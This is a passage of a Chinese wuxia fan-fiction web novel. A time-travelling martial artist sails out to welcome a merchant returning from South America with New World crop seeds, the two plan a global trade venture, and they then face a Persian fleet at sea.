至于张无忌得了宝药将俞岱岩的残疾治好,黄柏年知道陈子云跟武当的交情也顺带的提了一句。 等再收到黄柏年的信件却是因为消失了一段时间的周芷若突然现身大都,似乎与张无忌这个魔教教主相处的不错。 陈子云看着本来好好的明教,黄柏年此时却改成了魔教,想来是他见不得周芷若与张无忌表现出了亲昵,有些许嫉妒吧。 其实说来也不怪他,黄柏年虽然比较年长,但也终究没有成家。心中要是没有对周芷若这个是在过于出色的小师妹的仰慕,陈子云是不信的。 其实换句话说,但凡是在第一村出去的那些年轻男子,哪个又能完全把周芷若放下的。只是知道这位师妹的本事太高,人又如此出色,知道自己配不上罢了。 张无忌与周芷若联手,同闯万安寺,将困在里面的五大派众人都解救了下来。可惜峨眉灭绝师太不知为何,最后竟然自己寻死。 陈子云读到这里也是喟然一叹。这个灭绝,脾气还是倔的跟牛一样,宁可死也不愿意接受明教的恩慧。 至于峨眉掌门信物铁指环出现在一个叫莫小青的年轻女弟子手中,想来就是灭绝师太临死之前传下来的,而这位莫小青与周芷若似乎早就熟识。 陈子云不由得感叹,周芷若那宛如孩童玩笑般的布局,竟然真的取得了这样的成就。 这个所谓的峨眉新掌门莫小青,必然就是周芷若放出去的那些风筝中的一个了。 后面的似乎还有周芷若与元廷交手的详细描述,可陈子云却没心思再看下去了,因为有一个消息突然的就占据了他所有的关注。 赵钱有消息了,这个消失了将近十年王八蛋商人,让陈子云都一度认为自己所托非人,或者说是他已经被大海里的风浪给吞了。 陈子云是见识过大海的人,知道在这个时代,要完成那样的夸洋航行是怎么样的一间难事。 赵钱成功到达南美的概率本来就是万分之一,又要再安全的回来,还不忘自己的承诺,把找到的种子带给自己,这简直比给财神爷上香许愿要一座金山还不靠谱。 可这样的事情究竟是发生了,陈子云有些颤抖的拿着那张脏兮兮的绸布,看着上面一行字迹。 “赵钱西来,金银满载;当年一诺,奔赴万里;如今功成,百里相迎;南海之滨,敬待亲临。” 这个赵钱,不知道哪里找来的酸臭文人给他写的这歪句。不过既然对方真的找到了那些宝贝,别说就是让自己南海之滨迎接他,就算是要自己去南洋迎接,他也是乐意的很。 陈子云直接抛下了第一村的一切,那些被他当做平时消遣的江湖消息也直接告知黄柏年不必再送。 然后通知负责海沙派及南洋事物的红龙使洪孟康,停下一切事物专心等候自己的到来。 同时关注所有从西而来的船只,找寻上面可能存在的赵钱,切记不得怠慢。 陈子云同时一人两马就朝着南海而去,路上除了必要的吃食与休息,片刻不停。 要不是这两匹马是从西域采购来的大宛名马,说不准就要被活活累死在半路上了。 不过就算如此,等陈子云到了海沙派掌管的码头附近时,这两匹价值千金的宝马基本也就废了。 除了留下做种马之外,再也不可能承受这样的千里奔袭。 可陈子云的脸上此时除了激动,没有丝毫对于这两匹马的怜惜,这种激动从他收到那个消息的时刻起就再也没有消失过。 “船呢?” 陈子云对着一个迎上来的瘦高个问道,这人浑身精瘦,面皮黑红,这是长期在大海上活动的人特有的肤色。 满脸是风霜也让他这个不到三十的人看起来已有几分苍老,要是跟黄柏年站在一起,很多人反而会觉得这位红龙使才是三位龙使中的大哥,可实际上他比黄柏年还小了五岁。 “老师,船已经准备好了,不过最大的那艘刚好前段时间去了南洋,要不要等他们回来,也就这两三天的时间。” 洪孟康恭敬的对陈子云说道。 “来不及了,有个家伙就要到这里了,竟然他要我出迎百里,我就随了他的愿。” 陈子云一把拉着洪孟康就往码头而去。 第九十八章 出迎百里 这让了解自己这位老师的洪孟康心里大惊,自己这位老师虽然平时表现的并不倨傲,对待一切人事都是平平淡淡的,即不高傲也不谦卑。 可也正是这种态度,让洪孟康知道,这才是老师独有的高度,把天下之事都不放在眼里的人,才是真正最傲慢的。 而如今自己老师竟然要亲自去迎接一个人,甚至还要出迎百里,这好比就是旱地生雷,响彻四方了。 “老师,这是何人,难道是哪位隐居海外的绝世人物?能让您如此重视?” “嘿,海外倒是真的,不过绝世人物吗。嗯,现在倒是不好说了,以前他只是个普通不过的色目商人,但你现在却算得上是千秋歌颂的人物了。 绝世一词,倒也实至名归!” 陈子云笑着说道。 “商人?绝世的商人?” 洪孟康脑袋里都是问号,这世间怎么会有人把这么荣耀的名号加在一个商人的头上。 虽然这几年在陈子云那里学到了一些超越这个时代的理论与知识。但是洪孟康终究是长在这个时代里的人,对于士农工商这样的古训已然意识里根深蒂固。 而且因为他时常与海商接触,可也从来没有遇见过哪个商人是能让他佩服的。因为这些商人的眼里,似乎天生就只有金银,为了些许利益可以全然不顾道义。 扬帆起航,尽管洪孟康脑海里全都是不可思议,但既然是陈子云要求的,他自然要妥帖的执行。 作为一个已经多次航海的老手,船队在他指挥下浑然有序的朝着西南方向而行。那里是唯一一条通往西域的航道,如果陈子云说的那个商人从西方而来,必然是要经过那里的。 陈子云这次出海却比上次下南洋安稳的多,不仅是心态的不同,似乎连老天爷也格外的给面子。 海上风和日丽,连稍微大一点的波浪都不曾有,船队在顺风的吹拂下,稳若金汤的前行。 陈子云心情畅快之下心血来潮,在主船的大帆之上写下了“恭迎赵钱,相迎百里。”几个大字。 “老师,这位赵钱就是您说的那位绝世商人?” 洪孟康借机问道,他实在是对着这个人充满了好奇。 “不错,这是他的汉名。” 陈子云笑道。 “赵钱,找钱,这位倒是一点都不含蓄。” 洪孟康说着,心里更是不相信这样的一位光看名字就知道唯利是图的商人能配得上自己老师那般的称赞。 “不错,这个家伙,对于金钱的追求是毫不掩饰的。不过孟康啊,你可不能就因此小看他。 你这些年负责南洋这边的商贸,平时跟这些商人接触的也多,应该知道,这些人虽然重利,但是也不是全然无用的。 要是没有他们冒着随时船毁人亡的风险,往来与两岸之间,这沿海一带的百姓可过不上如今这样的日子。” 陈子云道。 “老师的教诲,孟康不敢忘。也知道商人有往来东西,互通有无的好处。但是这些年来,弟子看到的不堪的场面实在是......” 洪孟康皱着眉头解释道。 “我知道,这中间的有些人为了一些利益,什么事情都能做的出来。但这也不能全然的怪他们,实在是这个社会现在的制度将他们压的太低了。 士绅官员看不起他们,百姓又不会信任他们,所以他们只有在同一阶层寻找安慰。而这一阶层恰恰又是追逐利益为上的,所以他们有这样的心性也是这个时代的罪。” 陈子云道。 洪孟康依旧皱着眉头,不过他没有再说话,倒是在思考陈子云的话。 每一次有船来,陈子云都会让船员将大帆转向那些船只,想着只要是赵钱看到了自己的写的这些字,自然就知道是自己来迎接了。 自从海沙派带头开辟了这南洋的商路之后,这海上来往的商船着实不少,可每一队船队的经过给陈子云带来的都是期望之后的失望。 陈子云竟然有些“过尽千帆皆不是”的愁怨,这个赵钱,也不说具体是哪个时间点来到这边。 “老师,这里离开码头已经差不多有百里了,我们是就停在此处等着吗?” 洪孟康问道。 陈子云朝着西方张望了一番,只有几艘孤孤单单的小船,定然不是赵钱的船队,于是开口道。 “再出迎百里。” “这.....是。” 洪孟康先是一愣,随后答应了一声,心中不由得对那个让自己老师这般厚待的赵钱愈发的不满。 海风依旧和讯,阳光也同样明媚,而当陈子云一行人出了两百里之后,这里往来的船只却是少了,因为现在的商船往南洋去的多,往西来的却是少的。 而太阳也已经偏西,赵钱却迟迟未能出现。陈子云此时的心态也稳定了不少,既然对方已经找到了那些东西,这一天两天的确实也不用着急了。 陈子云既然放下了心态,自然就不再着急,甚至还让洪孟康从仓库里找出了一根鱼竿来,在落日的余晖里尝试了来此世界的第一次海钓。 洪孟康也看出了自己老师的打算,索性就让人把船锚放下,在这海域里休息一晚。 说来也是运气好,陈子云不过是想着玩玩的心态,没想到他用吃剩下的肉干钓鱼,竟然还真的让他钓上来一条不小的海鱼。 颜色还是红里透着金色,看着有点像大眼鲷,但是个头要大得多,而且颜色也更艳丽。 不过他们都不是正经的捕鱼人,只要知道这东西能吃,也就不会管它到底应该叫什么,反正到了肚子里都一样。 由于心情舒畅,陈子云就着这难得的海鲜美味,跟洪孟康还喝了几杯,当然要是周芷若在就更好了。 她在陈子云的教导下,对于这个时代盛行的曲子词可是很有些心得的。 “可惜了,要是你周师妹在,兴许我们还能对酒当歌一番。” “孟康可没这个福气,上次听芷若师妹唱曲,还是在老师给她办的成人礼上,平时我们师兄弟可不敢指望的。” 洪孟康连连摇头道。 第九十九章 星海 “这道也是,不过这也怪你们,从小就什么都让着她。现在啊,她的性格可是有些霸道喽。” 陈子云不由得想起小时候的周芷若是多么的温顺。 洪孟康没有回嘴,却是在心里腹诽,要不是老师你自己个宠着,我们这些当弟子怎么会那般的溺爱。 不过当他想到周芷若那巧笑嫣然,宛若谪仙的身姿神态之后,眼里也不由得露出了些许痴恋。 “芷若师妹那般的人,本来就是应当被捧在手心里的。” “呵呵哈哈,好你个洪孟康,要是早些有这样的觉悟,怎么会到这个时候还是个老光棍。” 陈子云酒喝了不少,说话也就少了顾及。 “老师就别说我了,您不是也依旧单身吗?” 陈子云本来待弟子就没什么太过严苛,有时候也跟他们开些没大没小的玩笑,此时在酒精的刺激之下,连洪孟康也是放开了。 “而且老师,自从小时候第一次见到您,到现在您的容貌都没怎么变化。师兄弟们有时也曾说,您就是上天派下来拯救我们这些可怜人的仙人,所以才.....呃。” 洪孟康打了个酒嗝。 陈子云摸摸自己的脸,这其实也是他想问的。虽然现在他的功力已经不在张三丰之下,可就算是张老道也只是长寿,而不是长生啊。 而自己的容貌似乎来到这个世界之后,就真的没怎么变化过,他也搞不懂这是怎么回事。 “也许吧,能救你们,我倒是也挺开心的。” 陈子云品着手里的酒,却已经没有了刚才的酒趣。 酒意已经有些上头,似醉非醉的状态让陈子云看着满天繁星也觉得特别的明亮,这大海上看天空与在陆地上看是截然不同的。 星光照在夜的海里,海又把星光以倒影的形式还给天空。而那酥酥的海风就像是他们两个之间的信使,为他们传达着彼此的言语。 当你盯着此时的大海,如果你并不熟悉海洋,你就会真的分不清,船是在脚下的海里,还是在天上的星海里。 “这倒是真应了那句‘醉后不知天在水,满船清梦压星河。’了。” 陈子云喃喃道。 “老师总能语出惊人,孟康不知见过多少次这般的场景,却无论如何都写不出这样的诗词来。” 洪孟康叹服的赞道。 “不,这不是我写的,而是......” 陈子云正解释着,洪孟康却主动的接上了下半句。 “而是一位不知名的诗人写的吗。老师您这句话,我们这些弟子不知道听过多少遍了。 可就您以前做的那些诗词,不时就有传世之作,我们跟您学了之后,也算是有些见识,历史上哪里会有这样的人物啊。” 洪孟康一副我们早就看穿了你的模样。 “......” 陈子云到此也就不想解释了。他以前因为一时应景,可能咏诵过或者写过一些后世的诗词。 学生们误会是他做的,本着少许的师道尊严,他只是简单的说了一句是他人所创。 可随着这些学生日渐的长大,学识日渐的深远,要想这样糊弄他们已然是不行的。可要说这是后代文人谁谁谁做的,这又怎么能让人相信,后面索性也就懒得解释了。 不过今天这首却可能是要撞到原作者了,那位唐姓的大才,好似就是元末明初的人物。 到时候要是真的撞上了,自己怕是要丢大糗。不过再想想也是好事,如果能认识一下那位,也应当算得上是庆幸的。 陈子云这天晚上都没有回船舱去休息,而是在了望台上看了一夜的星海,到了后面似乎连自己的整个心神都沉浸进去了。 也不知这一夜他的灵是在海里,还是在天上遨游。 等那轮旭日从东方升起,陈子云才悚然的回神,一种难以明说的感悟从心底被唤起。好似这天地之间的一种至要的妙理,就在此时的陈子云的掌握之间。 这种愉悦,比夏日饮冰水,冬日晒暖阳还磬人心脾。 “呵.......哈........” 陈子云这一声呼喝就放佛要洞穿天地一般,连脚下的海水都以他为中心荡开了一层层的波浪。 “老师,何事,是有什么情况吗?” 洪孟康连衣服都没穿整齐就从船舱里冲了出来,随后的就是其他的船员。 他们显然都是被陈子云这一声突然的巨大呼喝给惊醒的。 “别急,没什么事,只是突然福至心灵,开怀一喝罢了。以后你功夫到了一定境界,就能明白。” 陈子云没有过多的解释,因为现在的洪孟康,对于武学理解还是差了些,太早的跟他解释这些过于深奥的道理,反而会坏了他现在踏实的心境。 “是。” 洪孟康应了一声,就回船舱去收拾了,等他再次出来的时候,手里已经拿来了早饭。 “吃完早饭让船队再往西走百里,要是今天还接不到赵钱,见面少不得要收拾一顿这个奸商。” 陈子云玩笑似的说道。 ...... “有个大型的船队朝我们过来了,是商船。” 了望手在船队又开出了差不多七八十里的时候喊道。 “他们的船帆上写着一个很大的钱字。” 陈子云听到这话,直接两步就跳上了主帆的顶端,凝神望去,不下十艘的巨大的远洋海船队正朝他们而来。 黑色的巨帆上,画着外圆内方的红色铜钱,那铜钱的方孔里是一个硕大的钱字。 陈子云基本可以断定,能做出这样的事情的人肯定就是赵钱那个家伙。 “减速,准备接洽,把我们的帆朝向他们。” 陈子云吩咐道。 赵钱可没有自己的眼力,要是不把帆主动出示给他看,说不准就错过去了。 洪孟康在下面指挥着,在大海上两艘船要相接可不是简单的,一不小心就可能发生碰撞,严重些还可能直接船毁人亡。 等两个船队相聚还有几百米的时候,陈子云开始调动丹田之气。 “所有人捂住耳朵。” 他先提醒了一句,此时的声音已经有些吓人的大了。 “赵钱东来,白愁飞西迎三百里。” 十二字就像是十二把铜锣在船上众人的耳边同时敲响,要不是他们提前都捂住了耳朵,怕是要直接被震聋。 而远处的船队也是被这不可思议的,跨越了几百米距离依旧清晰如在耳边的声音给震撼到了。 第一百章 赵钱的野望 黑帆船队开始减速,其中一艘主船更是直接降下了大帆,这就是表示对方要靠小帆的动力,慢慢靠过来了。 等两船相距不到百米的时候,陈子云已经能清晰的看到那个站在船头的身影了。 是赵钱,不过他比十年前苍老了许多,也胖了不少,不过那神气的摸样倒是跟陈子云给他钱,请他吃饭喝酒的时候一个样,甚至还更重了几分。 也是,谁从一个刚被抢劫完一无所有的商人,变成拥有这样一个船队的成功商人都应该有这样的神气。 “我的白,我回来了,不仅带回了你要我找的那些种子,我还给你带来了数不尽的财富。 我要你知道,当年你给赵钱的那些钱,是你这辈子最伟大的生意,因为我给你带来了千倍万倍的收益。感谢我吧,崇拜我吧,我的白,世界上最伟大的商人赵钱,他无所不能。” 赵钱举着双手振奋的呼喊着,连带的他后面的船员也被他一起带动了氛围。 要是换个人敢这么跟陈子云说话,说不得肯定是要教训一番的,不过看在赵钱完成了自己的嘱托,那就另当别论吧。 陈子云在船还十几米,正准备放木板跟勾爪的时候,直接一跃就跳了过去。 “种子在哪里,红薯、土豆、辣椒的种子呢?快给我看。” 陈子云在赵钱的惊诧之中,一把就抓住了他的手臂,神情激动的问道。 后面有两个保镖摸样的人,此时已经露出了戒备的神色,这才让陈子云放开了赵钱。 “白,我的天你怎么一点都没变,难道这就是你们民族特有的长生不老之术吗?你一定要教教我,你不知道我为了帮你找这些东西,吃了多少苦,受了多少累。” 赵钱说着就要去抹眼泪。 陈子云自然知道对方是在借题发挥。 “要是有这种奇术,那秦始皇怎么会死,大秦帝国也不会只有二世了。” “好吧,这消息可真让人泄气。不过白,你到底是如何保养的?” 赵钱明显是不想就此放弃。 “简单啊,你要是愿意,就跟着我练武吧。我给你找最是养生的功夫,等你内功有成,自然也能长命百岁。” 陈子云道。 “练武?那还是算了,花十年的时间去练武,结果却也只是多活了十年,那这一来一回不就等于没延长吗。 况且练武那么辛苦,我还是老老实实享受人生吧,财富也能让我长寿的。” 赵钱显然对练武没什么兴趣。 “来人,将那些种子抬出来。” 在陈子云期待的目光中,六个船员抬着三个大箱子从船舱里出来了。陈子云迫不及待的上去打开了三个箱子。 土豆、红薯、辣椒、玉米,陈子云看着这些有的已经发芽的种子,眼睛里已经含满了热泪。 有了这些起码等不用担心愿末战事结束之后,人口暴涨却没有口粮的问题了。这样被元廷祸祸了几千万的汉人也有了重新迅速发展的机会。 “赵钱,我代天下那些吃不饱的百姓拜你。” 陈子云朝着赵钱弯腰下拜,他此时已经完全理解了当时自己送玉米上武当山,张老道那时候的心情了。 “嘿嘿,哈哈哈哈,怎么样,相信我赵钱不错吧。” 赵钱从来都不是客气的人,他也觉得自己当地起陈子云的这一拜,因为为了这些东西,他不知道多少次在生死之间徘徊。 “别急,这些不过是我这次从那个地方带回来的一部分,那些船上可是还有无数的珍宝呢。 我赵钱说过,从那天起,只要是我得到的财富就有你的一半,如今是我实现诺言的时候了。” 赵钱得意的指着停在百米外的几艘大船说道。 陈子云可以想象,赵钱找到了那个新世界,上面的财富说一句富可敌国都是小的,那个可是一个完全没有开发的宝库。只要有时间,赵钱无疑就会是这个世界上最富有的人。 但是陈子云对此并没有什么兴趣,那些闪闪发光的金银珠宝对他而言没有任何意义。 “那些财富是你自己的,我用不上,当初我对你的唯一要求就是在这些种子,如今你已经做到了,这已经是我最大的回报了。” 陈子云道。 “不行,白,难道你不知道我要给你的是多大的一场财富吗?一定是因为你没有见到那些美丽的财物才会如此,我带你去看看。 当你看到金山的时候,相信我,你一定会被他的光芒给折服的。有一段时间我连睡觉都睡在金子上面,那种感觉,我的天,简直无法形容。” 赵钱的语气里是满满的诱惑,就像是一个魔鬼在引诱着人类犯罪。 “然后呢,发现第二天起床就腰酸背痛,说不定还会发烧感冒。” “你怎么.....” 赵钱赶紧收住了话头。皱着眉头细细的打量着陈子云,可那双毫不闪躲的眼神似乎在告诉他,陈子云说的是真心话。 “哦,不,白,你不能这样对我。你这样会让我感觉我这十年的时间都白费了,丝毫都没有了成就感。” 赵钱是声音变得激动而苍白。 “好了好了,别激动,没人能抹杀你功劳。我虽然不知道你到底积累了多少财富,但可以预见那肯定是不可计数的。 不说前无古人后无来者,但是在这个时代,你绝对是最优秀的商人。” 陈子云说着从箱子里拿出了红薯跟土豆种子展示在赵钱的面前。 “而且,你为这个时代做出的贡献足以使你彪炳史册,这是天下任何一个其他商人都无法企及的。” “这些知道,当初我按照你给我的图集找到这些东西的时候,我也是不敢置信。我从来没有见过那种粮食是这样的高产的,我也知道这些东西意味着什么。 可这不是我赵钱追求的,说句你不高兴的话,那些人的死活并不放在我心上。我从来的目标就是一个,那就是做天下第一流的商人,靠着我的经商手段为自己赚来无尽的财富。 这次我虽然发现了一个世外之地,那里的财富也多的足够我花用一生。但这跟我计划的通过商场搏杀赢得一切的愿景根本不同。” 赵钱不甘心的说道。 第一百〇一章 世界第一商人 “哈哈哈,你就是个闲不下来的。你不是觉得这财富来的太突然,而是害怕以后没有了奋斗的目标。 既然如此,那我们就再合作一把。我刚好也在几年前开拓了从中原到南洋的海上商路。 我们索性把这两条航线连接在一起开发,既然你还想做生意,那我们就做一个大的,将南美,欧洲,亚洲三大洲的海洋贸易通通抓在手里。 到时候你就是名副其实的全世界最大的商人,如何?敢不敢再陪我赌一把?” 陈子云笑着说道。 “好,我赵钱有何不敢的。连大海都没能留下我的小命,这世界上哪里还有事是我不敢的事情。 那就用我这次带过来的财富,打造一直全世界最强大的商队,不管是海船还是人手,我都要最好的。 我赵钱要带着这支船队征服整个世界,到时候我就是这个世界的海商之王。我赵钱必然要成为全世界最出色,最伟大的商人。” 赵钱高举双手,对着天空和大海抓握了一把,就像是要把这天这海,都攒到自己的手心里。 “好了,先别怪叫了,我介绍个人给你认识。” 陈子云朝着洪孟康招招手,对方直接从已经架起的木板上跑了过来。 “孟康,这位就是赵钱,我跟说过的那位堪称绝世的商人。赵钱,这位是我的弟子洪孟康,如今也是南洋这边海贸的负责人。 以后我让他当你的助手,能否开创千古未有的伟大商业奇迹,就看你们两个了。” “晚辈洪孟康,见过赵前辈,以后还请前辈多多提携。” 洪孟康虽然觉得面前的这个人有些无礼,但是在陈子云面前还是表现出了应有的敬重。 “别这么前辈后辈的,叫我赵钱,或者老钱也行。你们东方的商品虽然是我喜欢的,可我一直都觉得你们的那些繁文缛节实在是讨厌。 不过好在你老师倒是和我胃口,当时见我落魄的跟乞丐一样,也愿意与我同桌喝酒。 既然白把你介绍给我,我相信你是有能力的。但是有一点我要说明,我以前也有往来东西行商的经历,对你们东方商人也有一定的认识。 你们有一个很坏的缺点,你们的商人总是希望想方设法的去得到官府对于一种商品的经营专利,而不是想办法自己去寻找更好的商品。 你们的商人总是宁愿将钱都送给那些贪得无厌的官员,而不会想着去体恤员工,奖励下属以激发他们的生产力。 如果你也是这样的人,我怕我们之间的相处会出现很多矛盾。 我这么说并不是针对你,而是希望白也能明白,我赵钱是一个纯粹的商人,我不会因为你是白的学生,就把我珍视的生意交给一个可能搞砸的人打理。” 赵钱的话把洪孟康说的耳红脸赤,在他看来这已经是极其过分的行为了,尤其是当着自己最敬重的老师。 “孟康,你别误会,赵钱就是这样的人。生意在他眼里就是一切,对于岸上那些跟官府打交道的事情,还是你去负责吧。” 陈子云中和了一句。 “是。” 洪孟康点头应道,也稍稍放下了刚才的急切心。 “赵钱,后面的事情咱们慢慢来,现在你既然来了这里,就让我先尽一番地主之谊吧。” 陈子云道。 “那是当然,我都离开这美丽的东方古国整整十年了,我要好好的欣赏一番,尤其是东方那些美丽迷人的姑娘。” 赵钱说道此处脸也红了,就像个猴急的新郎。 “调转方向,返航。” 陈子云邀请赵钱上了他们的船,以他们的主船为箭头,向着来时的路回去。 也不管是什么时候,陈子云一上船就让洪孟康准备了酒宴,将船舱里藏着的好酒都端了上来。 赵钱也是个喜欢酒的,这些年他在西域葡萄酒自然是喝了不少,可这东方的酒却是太久不曾喝到了。 菜都还没上齐,他就忍不住先喝了一大口,那经过借刀盟的那些村庄自己改良的高度酒,瞬间就把这个海龟给染红了脸。 “好.......咳咳......好酒。” 赵钱还是硬挺着脖子把一大口酒给吞了下去。 “酒是好酒,不过不能喝的太急。我们边喝边聊,我可是等着听你这一路的传奇故事呢。 要是你讲得好,我就让人找会写书的,将你的旅程写成一本游记小说,那时你就是真正的流芳百世了。” 陈子云笑着将一杯温水递给了赵钱。 “那你可听好了,可千万别把我的故事给写错了,我当时啊,从......” 赵钱开始绘声绘色的描述他的精彩历程。 跟陈子云分别离开昆仑之后,他找了一个往西走是商队,一路向地中海而去。凭借着他高明的行商手段,也让陈子云给他的些许财富不断的增长。 等他熟门熟路的回到了地中海以西,见到了那真正的无路可走的大海,他才意识到靠现在海上有的那些小船是不可能到达彼岸的。 于是赚钱造船就成了他的第一要务,凭借着他对于商业的敏感,他用了一年的时间赚钱,终于攒够了能让第一艘他想象中的大船动工的条件。 而当赵钱把自己的想法告诉那位当地最好的船匠时,那位老师傅用看傻子、疯子一般的目光看着他。 好在赵钱用足够的金钱,让那位老师傅和他的那帮徒弟明白了他的强大。 “三年,整整三年啊。白,你知不知道,我们经历了多少次的失败;而我又砸了多少钱在这些该死的船上。” 赵钱讲到这里,神色激动又自豪的指着他带来的那支船队。 当有了船,赵钱本以为他的航海事业终于能迈出第一步的时候。突然发现,在这个靠海的地方,竟然找不到一个能驾驭这种前所未有的大船的水手。 这简直让赵钱疯了,而那个老船匠还一脸正经的嘲笑他。这本来就是该如此的,既然他从来没有造过这么大的船,那自然也就不会有能驾驶这种船的人。 赵钱当时气的就想直接掐死这个老混蛋。 第一百〇二章 弹指敬苍穹 没办法赵钱只能选择自己培养操纵船只的人,他先是找了一些年轻的水手,又找了一些没饭吃的半大孩子。 之所以找这些人,因为那些已经习惯操作小船的老家伙是不可能找到操作这种大船的方法的,他们的思维已经被几十年如一日的生活给固化了。 “你知道吗,那些小东西开始跟我的时候,有些已经饿的快只有骨头了。” 赵钱又指了指自己的那艘主船。 原来这船上的人都是他自己一手培养的,难怪能这么忠心的陪着他。 而在培训这些小家伙的同时,赵钱也不得不硬着头皮上船,因为没有他在场,这些小家伙根本就是一副手足无措的可怜模样。 而他本来上船就吐的毛病,也是在那个时候治好的,换句话说就是“吐着吐着就习惯了。” 赵钱拿起桌上的酒杯一饮而尽,像是要把那段时间吐出去的黄胆水给补回来似的。 等到了真正的出海,已经是第五年的时候,那时候又多了一艘船,赵钱随意的往后面跟着的船队一指。 显然那些船在他心目中发分量是不如自己的第一艘大船的。 后面的就是试航,不会有人一下子就要航行万里的直奔目标的。明白了航行是怎么回事的赵钱自然不会凭借着当初陈子云说的那个模糊的方向,就一头扎进永不见边际的海洋里。 先是出行半个月,试探性的找到一个可以提供补给的岛屿。然后以这个岛屿为据点,再向外海探索。 就这样他们足足用了三年的时间不停的试探,不停的摸索,九死一生之下才最终找到了那个十万八千里都不止的南美洲。 “白,你知道吗?好几次我都觉得我死定了,可是我却又奇迹般的活了下来。当时我真的怀疑是神明在指导我前行的方向,也许你要为这个国家带回希望种子的心感动了上苍。” 赵钱此时已经喝的舌头打圈了。 “好,那我们就敬这位保佑你的神明一杯。” 陈子云也是笑着举杯说道。至于这世间有没有神明他并不怎么在意,而且连自己穿越时空的事情都能发生,有神明也没什么意外的。 只是如果真的是哪位神明的旨意让他来到这里,让赵钱找到了这些给与所有穷人吃饭的种子,那陈子云倒是不介意拜一拜这位大神。 赵钱没一会儿就醉倒了,被洪孟康扶着去了船舱里休息,陈子云一个人对着海上明月与星空银河独饮。 可月光再明亮也不及陈子云此时眼中的的光芒,因为那些代表着希望的种子就在他的旁边放着。 八年前他在南阳找到了玉米,解决了一大部分百姓饥饿的问题,可光靠一种玉米的作用终究是狭隘了一些。 如今有了产量更高的红薯跟土豆,只要把这些种子往中原大地上一撒,除非发生那种几个月不下于的天灾,要不然饿死人的事基本就不会再有了。 陈子云忽然抓起剩下的半坛子酒,在坛子底部轻轻一拍,清澈如水的酒液就从坛子里蹿了出来。 陈子云单手在虚空中一搂,那在半空中的酒液就彷佛脱离了地球的引力,悬停在他的面前。 陈子云纵身一跃,两步就来到了桅杆的最高处,而那些酒液就像是一道珠链一般跟随在他的身后。 陈子云再次挥动双手将这道酒链收拢,随即朝着当空的明月一指。 “昔日李太白举杯邀明月,今日白愁飞弹指敬苍穹。” 陈子云手捏指决,手上十指连连弹出,二十四节气惊神指从从“立春”到“大寒”循环往复连绵不断的将酒液弹向高空。 在明月的照耀下,那些划过空中的一道道酒液就像是一闪而逝的流星,短暂却璀璨至极。 “苍天,君醉否?哈哈哈哈!” 陈子云捉最后一口酒液自饮,随后大笑问苍穹,真当是好不快意。 不过当他第二天从床上醒来的时候,这份快意就成了三分懊丧,抚着自己还昏昏涨涨的脑袋,不由得暗骂一声,赵钱误我。 “老师,前方有十来只大船靠近,看那样子似乎不是东方常见的船只,到是跟赵前辈带来的船队有些相像。” 洪孟康一大早就来跟陈子云汇报了一个突发情况。 “哦,现在竟然还有别的西方船队来这里?那就去看看,到底是何方人物。” 陈子云最西边也就到过昆仑,对于再遥远的地方他一来是没兴趣,二来么也是实在懒得动。 等陈子云看到了那十几艘西方样式的大帆船朝着他们而来,看那样式好像还挺像那么回事的。 可是这些帆船终究只是一些正常体型的船只,连海沙派这些大船都不一定比得上,就更不用说是赵钱定制的那些巨无霸了。 至于说上面好像还配备了火炮,开玩笑,在这个时代,哪艘远洋的帆船上是不配备火炮的。不带武器出门,那不是等着海盗来光顾你吗? 海沙派的这些火炮还好算是正常口径的,你要是看赵钱带来的那艘主船上的那门主炮,口径最少也有五十公分往上了。 被这样的的大家伙打中,就算是实心弹也直接能把船体贯穿,要是换成开花弹,估计船上的人没一个能完整的。 “打旗语,让他们停下。” 陈子云眼睛一眯,随即嘴角一翘,似乎看到了什么有趣的东西。 “是。” 洪孟康自然不会拒绝陈子云的要求,随即命令船员将船队散开,摆明了就是不让对方通过。 陈子云的船队加上赵钱的船队,这阵势一摆开,几十艘大船,上百门大炮同时对准目标,对方要是敢不停船,就直接送他们上天。 对面的船队果然停下了,还用小船派了一个使者过来,不过对方叽里呱啦的说了一通陈子云完全听不懂。 不过好在这个时候赵钱也终于从酒醉中清醒了过来,用同样叽里咕噜的话回了对方几句。 那位使者一听赵钱的话,激动的就要跳起来亲吻他,被赵钱一挥手制止了。 “这家伙是波斯的,我在波斯待过一段时间,能说几句。大概就是想请我们放行,白,这伙人得罪你了?” 赵钱道。 “得罪,没有,只是我看上了他们船上的一样东西。” 陈子云道。 第一百〇三章 偶遇 赵钱彷佛听到了什么不可置信的消息。 “你看上了什么?” 赵钱的语气无比惊讶,陈子云连他带来的财宝都不要,竟然能看中这些波斯人的东西。要知道现在的波斯可不必以前了,在经过蒙古人的摧残之后,波斯帝国早就没有了往昔的风光。 “一个可爱又伶俐的小姑娘。” 陈子云的回答让赵钱的嘴长着都闭不上了,随即极目远望,那摸样明显就是在寻找着陈子云说的那个小姑娘的身影。 可是如今对方的船只离他们起码还有百米开外,以赵钱一个普通的视力怎么能看得清对面的情况。 “是个什么样的姑娘?” 赵钱的八卦之心已经成功的被陈子云点燃了,他如何能不好奇,能被陈子云这个眼高于顶的家伙看上眼的姑娘是什么模样。 “等下你看到就知道了。” 陈子云微笑着说道。 可赵钱哪里能等得及,直接一把抓住那个使者的衣领,叽里咕噜的问了一通。可刚才还对赵钱亲切的不行的使者,此时却是一个字都不说,脸色上还带着几分怒火,好像是赵钱做了什么侮辱他的事情。 “你跟他说个什么劲,让他们主事的人自己过来。或者我们先打一轮炮再谈,让他们自己选。” 陈子云阻止了赵钱继续的折腾这个无用的使者。 赵钱点点头,叽里咕噜的跟使者说了几句,就直接把他扔回了小船上。 随着小船的返回,陈子云这边的火炮同时调整了炮口,一致把方向都对准了使者上去的那艘主船。 只要对方敢有异动,这一轮炮火下去,对方的主船怕是连残骸都不会剩下。 对方明显也看出了他们的态度,主船直接向着陈子云他们的主船靠过来。这行动,明面上自然就是主动的投降示弱。 可陈子云知道,对面的那些波斯明教的人,怕是想凭借着他们的那些高手奇袭,瞬间控制他们主船上的人物。 “赵钱,你往后站一些,这些人怕是要跟咱们近身战一场。” 陈子云提醒了一句赵钱。 “嘿,谁怕谁,难道我赵钱在海上这么些年,就是安安稳稳过来的吗?打就打,谁怕谁。” 也难怪赵钱有这个胆子,因为他那些保镖已经都来到了他身边,男男女女加起来有十几个。 而且以陈子云的观察,这些人的身手都不弱,起码有宋青书的水准了。 洪孟康已经在调配自己船上的高手,这种事情对于他这个在东南沿海跑船的江湖人是最熟悉不过的。 刚开始的那些年,那些所谓的东南沿海的江湖同道可没少上门找事。不是想参一股的,就是想伸手直接拿钱的。 